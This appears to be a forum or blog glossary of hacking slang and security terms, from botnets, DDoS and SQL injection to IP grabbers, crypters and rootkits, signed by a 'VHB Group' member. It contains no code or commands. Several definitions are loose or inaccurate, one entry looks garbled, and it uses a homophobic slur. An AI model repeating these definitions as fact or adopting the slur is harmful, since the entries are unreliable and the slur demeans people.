0 and 1.<br /> <br /> Black Hat =<br /> A hacker who performs illegal actions to do with hacking online. (Bad guy, per se)<br /> <br /> Blue Hat =<br /> A blue hat hacker is someone outside computer security consulting firms who is used to bug test a system prior to its launch, looking for exploits so they can be closed. Microsoft also uses the term BlueHat to represent a series of security briefing events.<br /> <br /> Bot =<br /> A piece of malware that connects computer to an attacker commonly using the HTTP or IRC protocal to await malicous instructions.<br /> <br /> Botnet =<br /> Computers infected by worms or Trojans and taken over by hackers and brought into networks to send spam, more viruses, or launch denial of service attacks.<br /> <br /> Buffer Overflow =<br /> A classic exploit that sends more data than a programmer expects to receive. Buffer overflows are one of the most common programming errors, and the ones most likely to slip through quality assurance testing.<br /> <br /> Cracker =<br /> A specific type of hacker who decrypts passwords or breaks software copy protection schemes.<br /> <br /> DDoS =<br /> Distributed denial of service. Flooding someones connection with packets. Servers or web-hosted shells can send packets to a connection on a website usually from a booter.<br /> <br /> Deface =<br /> A website deface is an attack on a site that changes the appearance of the site or a certain webpage on the site.<br /> <br /> Dictionary Attack =<br /> A dictionary attack is an attack in which a cyber criminal can attempt to gain your account password. The attack uses a dictionary file, a simple list of possible passwords, and a program which fills them in. The program just fills in every single possible password on the list, untill it has found the correct one. Dictionary files usually contain the most common used passwords.<br /> <br /> DOX =<br /> Personal information about someone on the Internet usualy contains real name, address, phone number, SSN, credit card number, etc.<br /> <br /> E-Whore =<br /> A person who manipulates other people to believe that he/she is a beautiful girl doing cam shows or selling sexual pictures to make money.<br /> <br /> Encryption = I<br /> n cryptography, encryption applies mathematical operations to data in order to render it incomprehensible. The only way to read the data is apply the reverse mathematical operations. In technical speak, encryption is applies mathematical algorithms with a key that converts plaintext to ciphertext. Only someone in possession of the key can decrypt the message.<br /> <br /> Exploit =<br /> A way of breaking into a system. An exploit takes advantage of a weakness in a system in order to hack it.<br /> <br /> FUD =<br /> Fully undetectable, can be used in many terms. Generally in combination with crypters, or when trying to infect someone.<br /> <br /> Grey Hat =<br /> A grey hat hacker is a combination of a Black Hat and a White Hat Hacker. A Grey Hat Hacker may surf the internet and hack into a computer system for the sole purpose of notifying the administrator that their system has been hacked, for example. Then they may offer to repair their system for a small fee.<br /> Hacker (definition is widely disputed among people...) = A hacker is someone who is able to manipulate the inner workings of computers, information, and technology to work in his/her favor.<br /> <br /> Hacktivist =<br /> A hacktivist is a hacker who utilizes technology to announce a social, ideological, religious, or political message. In general, most hacktivism involves website defacement or denial-of-service attacks.<br /> <br /> IP Address =<br /> On the Internet, your IP address is the unique number that others use to send you traffic.<br /> <br /> IP Grabber =<br /> A link that grabs someone's IP when they visit it.<br /> <br /> Keylogger =<br /> A software program that records all keystrokes on a computer's keyboard, used as a surveillance tool or covertly as spyware.<br /> Leach = A cultural term in the warez community referring to people who download lots of stuff but never give back to the community.<br /> <br /> LOIC/HOIC =<br /> Tool(s) used by many anonymous members to conduct DDoS attacks. It is not recommended to use these under any circumstances.<br /> <br /> Malware =<br /> Software designed to do all kinds of evil stuff like stealing identity information, running DDoS attacks, or soliciting money from the slave.<br /> <br /> Neophyte =<br /> A neophyte, "n00b", or "newbie" is someone who is new to hacking or phreaking and has almost no knowledge or experience of the workings of technology, and hacking.<br /> <br /> smith =<br /> Somebody new to a forum/game.<br /> <br /> OldFag =<br /> Somebody who's been around a forum/game for a long time.<br /> <br /> Packet =<br /> Data that is sent across the Internet is broken up into packets, sent individually across the network, and reassembled back into the original data at the other end.<br /> <br /> Phreak =<br /> Phone Freaks. Hackers who hack cell phones for free calling. Free Long distance calling. Etc.<br /> <br /> Phreaking =<br /> The art and science of cracking the phone network.<br /> <br /> Proxy =<br /> A proxy is something that acts as a server, but when given requests from clients, acts itself as a client to the real servers.<br /> <br /> Rainbow Table =<br /> A rainbow table is a table of possible passwords and their hashes. It is way faster to crack a password using rainbow tables then using a dictionary attack (Bruteforce).<br /> <br /> Remote Administration Tool =<br /> A tool which is used to remotely control (an)other machine(s). These can be used for monitoring user actions, but often misused by cyber criminals as malware, to get their hands on valuable information, such as log in credentials.<br /> <br /> Resolver =<br /> Software created to get an IP address through IM (instant messenger, like Skype/MSN) programs.<br /> <br /> Reverse Engineering =<br /> A technique whereby the hacker attempts to discover secrets about a program. Often used by crackers, and in direct modifications to a process/application.<br /> <br /> Root =<br /> Highest permission level on a computer, able to modify anything on the system without restriction.<br /> <br /> Rootkit (ring3 ring0) =<br /> A powerful exploit used by malware to conceal all traces that it exists. Ring3 - Can be removed easily without booting in safemode. Ring0 - Very hard to remove and very rare in the wild, these can require you to format, it's very hard to remove certain ring0 rootkits without safemode.<br /> <br /> Script Kiddie =<br /> A script kid, or skid is a term used to describe those who use scripts created by others to hack computer systems and websites. Used as an insult, meaning that they know nothing about hacking.<br /> <br /> Shell =<br /> The common meaning here is a hacked web server with a DoS script uploaded to conduct DDoS attacks via a booter. OR A shell is an script-executing unit - Something you'd stick somewhere in order to execute commands of your choice.<br /> <br /> Social Engineer =<br /> Social engineering is a form of hacking that targets people's minds rather than their computers. A typical example is sending out snail mail marketing materials with the words "You may already have won" emblazoned across the outside of the letter. As you can see, social engineering is not unique to hackers; it's main practitioners are the marketing departments of corporations.<br /> <br /> Spoof =<br /> The word spoof generally means the act of forging your identity. More specifically, it refers to forging the sender's IP address (IP spoofing). (Spoofing an extension for a RAT to change it from .exe to .jpg, etc.)<br /> <br /> SQL Injection =<br /> An SQL injection is a method often used to hack SQL databases via a website, and gain admin control (sometimes) of the site. You can attack programs with SQLi too.<br /> <br /> Trojan =<br /> A Trojan is a type of malware that masquerades as a legitimate file or helpful program with the ultimate purpose of granting a hacker unauthorized access to a computer.<br /> <br /> <b>VPS =</b><br /> The term is used for emphasizing that the virtual machine, although running in software on the same physical computer as other customers' virtual machines, is in many respects functionally<br /> equivalent to a separate physical computer, is dedicated to the individual customer's needs, has the privacy of a separate physical computer, and can be configured to run server software.<br /> <br /> <b>Warez =</b><br /> Software piracy<br /> <br /> <b>White Hat =</b><br /> A "white hat" refers to an ethical hacker, or a computer security expert, who specializes in penetration testing and in other testing methods to ensure the security of a businesses information systems. (Good guy, per se)<br /> <br /> <b>Worm =</b><br /> Software designed to spread malware with little to no human interaction.<br /> <br /> <b>Zero Day Exploit =</b><br /> An attack that exploits a previously unknown vulnerability in a computer application, meaning that the attack occurs on "day zero" of awareness of the vulnerability. This means that the developers have had zero days to address and patch the vulnerability.<br /> <br /> <b>Capuchino - VHB Group</b>

Một vài thuật ngữ hacking

★ DDoS = Distributed Denial of Service ★ DrDoS = Distributed Reflected Denial of Service Attack, uses a list of reflection servers or other methods such as DNS to spoof an attack to look like it's c…

Đọc thêm »